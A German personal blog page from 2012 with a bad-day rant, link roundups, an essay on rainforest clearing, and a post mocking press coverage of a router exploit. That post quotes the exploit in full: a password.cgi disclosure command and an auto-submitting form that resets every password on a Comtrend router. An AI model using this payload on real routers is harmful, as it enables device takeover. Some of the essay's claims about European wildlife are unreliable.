Ein scheiss Tag

Heute war einer dieser Tage. An sich nicht dramatisch aber in Summe eher wenig erbaulich.

In die Innenstadt gefahren.

Mehr als 10 Minuten zur Bank gelatscht.

War ein Typ vor mir am Schalter, der dort offenbar dabei war eine Bank zu gründen oder so.

Nach 20 Minuten Scheck eingelöst.

"Das hätten Sie auch draussen am Automaten machen können".

Vielen Dank.

Wieder zurück gelatscht.

In den Saturn gegangen wegen MP3 Player Gucken, weil iPod tot.

Es war nur Scheisse im Angebot.

Zum S-Bahnhof zurück getapert.

S-Bahn verpasst.

Endlich kam eine, die hielt aber am Ostbahnhof anstatt durchzufahren.

Also aussteigen und auf die nächste warten.

Falscher Bahnsteig.

Es fing an zu regnen.

Aus der S-Bahn gestiegen und 15 Minuten nach Hause geschwommen.

Türe geöffnet.

Es stank (und stinkt noch immer) nach Katzenklo. Weil die neue Mieterin etwa 20 Katzen beherbergt.

Oben in der Wohnung angekommen.

Es stinkt immer noch nach Katzenklo. IN meiner Wohnung.

Was für ein scheiss Tag!

09 October 2012 | #draussengewesen

 

Remote Exploit via 192.168.1.1

Heise berichtet mit der Überschrift "4,5 Millionen Router gehackt" über einen Vortrag von einem Snakeoil-Vertreter namens Fabio Assolini über einen remote exploit mit denen Hacker 4.5 Millionen Router in Brasilien gehackt haben wollen.

Netterweise verlinkt Heise auf die exploit-db, die sie so verlinken:

Dafür haben sie mittels zweier Bash-Scripte per Cross Site Request Forgery (CSRF) zunächst das Administrator-Passwort geändert und im zweiten Schritt den DNS-Server-Eintrag im Router manipuliert.

Ich bin dem Link gefolgt und fand dort erstens überhaupt kein Bash-Script und von "remote" ist dort auch nichts zu sehen, sondern sowas hier:

root@linux:~#  get.pl http://192.168.1.1/password.cgi   ## Information Disclosure

Das sieht jetzt eher nicht nach remote Exploit aus. Dann ändern die "Hacker" die Routerpasswörter mit:

[CUT EXPLOIT HERE]                        ## CSRF For Change All passwords
<html>
<head></head>
<title>COMTREND ADSL Router BTC(VivaCom) CT-5367 C01_R12 Change All passwords</title>
<body onLoad=javascript:document.form.submit()>
<form action="http://192.168.1.1/password.cgi"; method="POST" name="form">
<!-- Change default system Passwords to "shpek" without authentication and verification -->
<input type="hidden" name="sptPassword" value="shpek">
<input type="hidden" name="usrPassword" value="shpek">
<input type="hidden" name="sysPassword" value="shpek">
</form>
</body>
</html>
[CUT EXPLOIT HERE]

Das sieht jetzt eher auch nicht nach Cross Site Request Forgery aus, sondern eher nach einem simplen HTT Post Request, mit dem man einfach die Passwörter bei dem Router ändern kann ohne authentisiert zu sein.

Es ist ja schlimm genug, wenn sich solche Trolle heutzutage Hacker nennen dürfen, noch schlimmer ist, wenn die solchen Bockmist in eine exploit-db publiziert kriegen, und noch viel schlimmer, dass ein Kaspersky Mann das auch noch in einem Vortrag erwähnt. Aber, dass Heise.de darüber berichtet (oder abschreibt?!) ohne irgendwelche Details nachzuprüfen, ist eine Katastrophe.

04 October 2012 | #unfassbar

 

Krimskrams, Goggelmoggel und Muggefugg

Update 2012-10-04:

Moosbälle kennt jeder Aquarianer. Aber wehe man plant, die Teile in Australien einzusetzen. L<Dann gibts Gefängnis|http://www.practicalfishkeeping.co.uk/content.php?sid=5286> oder wie im Fall der Täterin hier 250 soziale Arbeit. Sie ist aber nur knapp am Gefängnis vorbeigeschrammt. OMG!

04 October 2012 | #gefunden

 

Krimskrams, Goggelmoggel und Muggefugg

Update 2012-10-02:

Haha: L<فليبارك الله أميركا|http://inothernews.tumblr.com/post/32732165320><p>Update 2012-10-02:</p>SPAM ist ja bekanntlich immer nervig. Neuerdings bekomme ich auch SPAM von Twitter (weil ich den Ferienhaus-Account betreuue), noch dazu mit Webbugs. Als ob mein MailScanner die ignorieren würde. Pappnasen. Und dann die Verzweiflung, die aus dem Text trieft:

Verschönere Dein Profil mit einem Header-Bild. Durchsuche Deine neue Fotogalerie. Sieh Dir an, was andere Leute mit ihren Profilen machen. Versuche es jetzt. Hol Dir die App und versuche es jetzt.

Vögel.<p>Update 2012-10-02:</p>Was haben Myanmar, Sudan, Saudi-Arabien, Nordkorea, Syrien und Deutschland gemeinsam? L<Bestechung von Abgeordneten ist nicht strafbar|https://netzpolitik.org/2012/exklusiv-wir-veroffentlichen-das-geheime-gutachten-das-strengere-gesetze-gegen-abgeordnetenbestechung-fordert/>.<p>Update 2012-10-02:</p>Sicherheitsfrage
Ghttp://www.bizarrocomics.com/?p=8762|http://www.bizarrocomics.com/wp-content/uploads/2012/09/bz-panel-09-27-12.jpg<p>Update 2012-10-02:</p>L<Rezension über “Isch geh Schulhof” von Philipp Möller von Nic|http://nicsbloghaus.org/2012/10/01/krankes-bildungssystem/>. Neue Erkenntnisse gibt es zwar keine, aber falsche Schlussfolgerungen und Forderungen: sowohl der Autor als auch Nic überlegen, wie man “Die Politik” dazu bringen könnte, das Problem der Bildungsmisere zu erkennen. Es ist aber genau andersrum. Wie kann man die Leute dazu bringen, zu erkennen, dass die sogenannte “Bildungsmisere” Absicht ist? Das die zunehmende Verdummung der Bevölkerung Gewollt ist? Und zwar weil man sie dann leichter im Griff hat? Irgendwie sehen das die Protagonisten aus der Bildungsbranche nicht. Dabei müsste man nur mal ein Geschichtsbuch aufschlagen. Da stehts drin.<p>Update 2012-10-02:</p>Die “Sea Education Association” führt eine Expedition in den Pazifik durch, bei der die Auswirkungen des Plastiks untersucht werden, das dort in rauen Mengen herumschwimmt. L<Auf der Webseite gibt es regelmäßige Updates|http://www.sea.edu/plastics/>.<p>Update 2012-10-02:</p>Die Erde singt. In dem Beitrag von Phil Plait ist auch ein MP3 verlinkt, unbedingt anhören. Die NASA hat Radiowellen aus der näheren Erdumgebung, die dort durch Interferenzen zwischen dem Erdmagnetfeld und Sonnenaktivität verursacht werden, in Audiowellen übersetzt. Hört sich wirklich schön an. Und schräg. L<The song of killer electrons|http://blogs.discovermagazine.com/badastronomy/2012/10/01/the-song-of-killer-electrons/>

02 October 2012 | #gefunden

 

Die Arroganz der Entrüsteten

Seit vielen Jahren geht das Problem durch die Medien, es gibt unzählige Dokumentationen und Studien: die Abholzung der Regenwälder. Jedes Jahr werden allein in Brasilien Flächen in der Größe der BRD abgeholzt (oder so, genaue Größen habe ich jetzt nicht, das tut aber hier nichts zur Sache). Während zwar die Beweggründe der "Täter" durchaus umfassend beleuchtet werden, bleibt trotzdem die Entrüstung. Der Vorwurf der Zerstörung schwebt in jedem Bericht, jeder Doku und jedem Artikel unterschwellig mit.

Und in der Tat ist es entsetzlich was man da an Bildern zu sehen bekommt. Ein Alptraum im wahrsten Sinne des Wortes. In vielen Fällen wird den dort Verantwortlichen Verantwortungslosigkeit vorgeworfen, oder Ignoranz, oder Egoismus, oder Raffsucht, Gier - you name it. Mich stört das schon ziemlich lange. Diese hochnäsige Attitüde des Besserwissenden, der herabblickt auf die ungebildeten primitiven Horden, die rücksichtslos die Natur zerstören.

Die Frage ist, warum empfinde ich diese Sichtweise als arrogant? Im Grunde ist es sehr einfach. Wir - ich zähle mich da einmal mit hinzu - werfen den Menschen in der Dritten Welt Dinge vor, die wir auch getan haben. Oder noch tun. Unter "wir" verstehe ich damit unsere Kultur, das heisst nicht nur die jetzt existierende, die von sich selbst meint, besonders hoch entwickelt zu sein, sondern auch unsere Vorfahren, die ja unbestreitbar ein Bestandteil unserer Kultur sind. Denn wir sind in Summe nicht mehr und nicht weniger als das, was unsere Vorfahren uns in jeder Hinsicht hinterlassen haben.

Und unsere Vorfahren haben tatsächlich genau die Dinge getan, die die Menschen in Brasilien und anderswo heute tun: wir haben Wälder gerodet. Und zwar in großem Stil. Vor langer, langer Zeit war Europa einmal nahezu vollständig mit Wäldern bedeckt. Es gab unzählige Raubtiere wie Berglöwen, Pumas, Wölfe oder Bären und noch viel unzähligere Arten Pflanzenfresser. Nichts davon ist mehr da. Es gibt die großen Wälder Europas nicht mehr. Es gibt keine frei lebenden Bären mehr, eine Handvoll Wölfe quält sich noch in Polen durch ihre karge Existenz. Und wie wir heute wissen, leben in einem solch ausgedehnten Biotop eine Menge Arten, die allesamt austerben, wenn das Biotop verschwindet. Wölfe und Bären sind nur die Arten, von denen wir explizit wissen, dass wir sie ausgerottet haben. Wieviele ungezählte Spezies mag es hier gegeben haben, von denen wir gar nicht wissen, dass sie überhaupt je gelebt haben? Was für Blumen, Kräuter, Amphibien, Reptilien, Bakterien, Flechten und Vögel sind für immer verschwunden? Und das ist unsere Schuld, die Schuld unserer Kultur.

Das Ausmaß der Umweltzerstörung, das wir hinterlassen haben, übertrifft das der Brasilianer um ein hundertfaches. Es ist nur lange her. Niemand erinnert sich daran oder - wohl eher zutreffend - will sich daran erinnern. Ich muss mich nur auf der Insel Fehmarn, auf der ich heute lebe, umschauen. Hier gibt es überhaupt keinen einzigen unberührten Flecken mehr. Ja, es gibt ein "Vogelschutzgebiet Wallnau". Aber das ist flächenmäßig so winzig, das ist ein Witz. Und ansonsten gibt es auf Fehmarn nur Felder, Häuser und Strassen. Wir haben genau 2 Wälder. Jeder davon ist etwa 1-2 Quadratkilometer gross. Das ist alles. Es gibt ein paar Rehe, haufenweise Hasen, die üblichen Verdächtigen Vogelarten. Mehr nicht. Aber so war das freilich nicht immer. Früher war die Insel einmal vollständig von Wald bedeckt. Es gab einen Artenreichtum, von dem heute nichts mehr übrig ist. Ok, es ist locker 5000 Jahre her, seit die Menschen angefangen haben, hier die Wälder zu roden. Aber für die Natur, die dadurch verloren gegangen ist, macht es keinen Unterschied, ob etwas heute oder vor 5000 Jahren geschieht. Es ist geschehen, wir haben es getan und es ist nicht rückgängig zu machen.

Freilich ist das auch kein europäisches Phänomen. Als ein Beispiel von tausenden sei die Osterinsel genannt. Die war auch mal komplett mit Urwald bedeckt. Und das Biotop der Osterinsel war weiträumig isoliert. Man kann davon ausgehen, dass die allermeisten der dort vorgekommenen Arten einmalig waren. Vernichtet. Und natürlich ist die heutige "moderne" Forderung nach Wiederaufforstung keine wirklich neue Erfindung. Nachdem die Römer mit dem Bau des Hadrianwalls fertig waren, haben sie die ganzen Wälder, die sie dafür abgeholzt hatten, wieder aufgeforstet. Das war vor beinahe 2000 Jahren.

Was haben wir also? Da haben wir einen (fiktiven) Umweltschützer, der in Düsseldorf lebt. Er ist umgeben von Städten, Häusern, Gewerbegebieten, Industrie, Überlandleitungen, Windmühlen, Kraftwerken, Autobahnen, Freibädern oder Golfplätzen - keine Natur. Jedenfalls keine wirklich signifikant sich selbst überlassene, wilde, freie Natur in dem Sinne, wie wir einen Urwald betrachten. Er fährt jeden Tag mit dem Auto zur Arbeit, wirft abends zu Hause die Heizung an, schaut Fernsehen und hat den Laptop auf dem Schoß. Dieser eine Umweltschützer verbraucht alleine mehr Energie, als eine mittlere Kleinstadt in Brasilien. Aber er regt sich auf. Über die Vollidioten dort drüben, die den Regenwald zerstören. Er spendet. Er unterzeichnet Peditionen. Er marschiert auf Umweltschutzdemos mit. Aber er fragt sich nicht, zu welchem Preis der ganze Komfort, mit dem er sein Leben verbringt, bezahlt wurde: durch die Zerstörung von Natur. Direkt dort, wo sei Haus steht, ist vor hunderten oder tausenden Jahren vielleicht der letzte Bär getötet oder der letzte tausendjährige Baum gefällt worden.

Diese Entrüstung, die allenthalben überall über dieses Problem geäußert wird, ist deshalb arrogant, weil sie von Menschen kommt, die sie gar nicht äussern könnten, hätten ihre Vorfahren nicht präzise das gleiche getan. Ich will damit nicht sagen, dass wir die Leute in Brasilien deswegen nun machen lassen sollen. Keineswegs. Aber aus Fehlern soll man lernen. Und diese ganzen sogenannten Umweltschützer sollten irgendwann einmal damit anfangen, besser bald als später. Die Fehler haben wir alle schon gemacht. Und die Frage, mit der man sich beschäftigen sollte lautet, wie kann man es besser machen? Wie kann man die Lebensqualität von Millonen oder Milliarden Menschen steigern, ohne allzu viel Natur dabei zu zerstören? Und die Antwort sollte nicht lauten, dass sich die Lebensqualität dieser Menschen nicht steigern soll. Doch, das soll sie. Aber solange sich darüber niemand Gedanken macht und Ideen vorbringt, wie das zu bewerkstelligen ist, sind die ganzen entrüsteten Umweltschützer nichts anderes als scheinheilige, sich selbst belügende, egozentrische, arrogante Ignoranten.

Und das geht mir gehörig auf den Zeiger. Musste ich einfach mal loswerden.

02 October 2012 | #science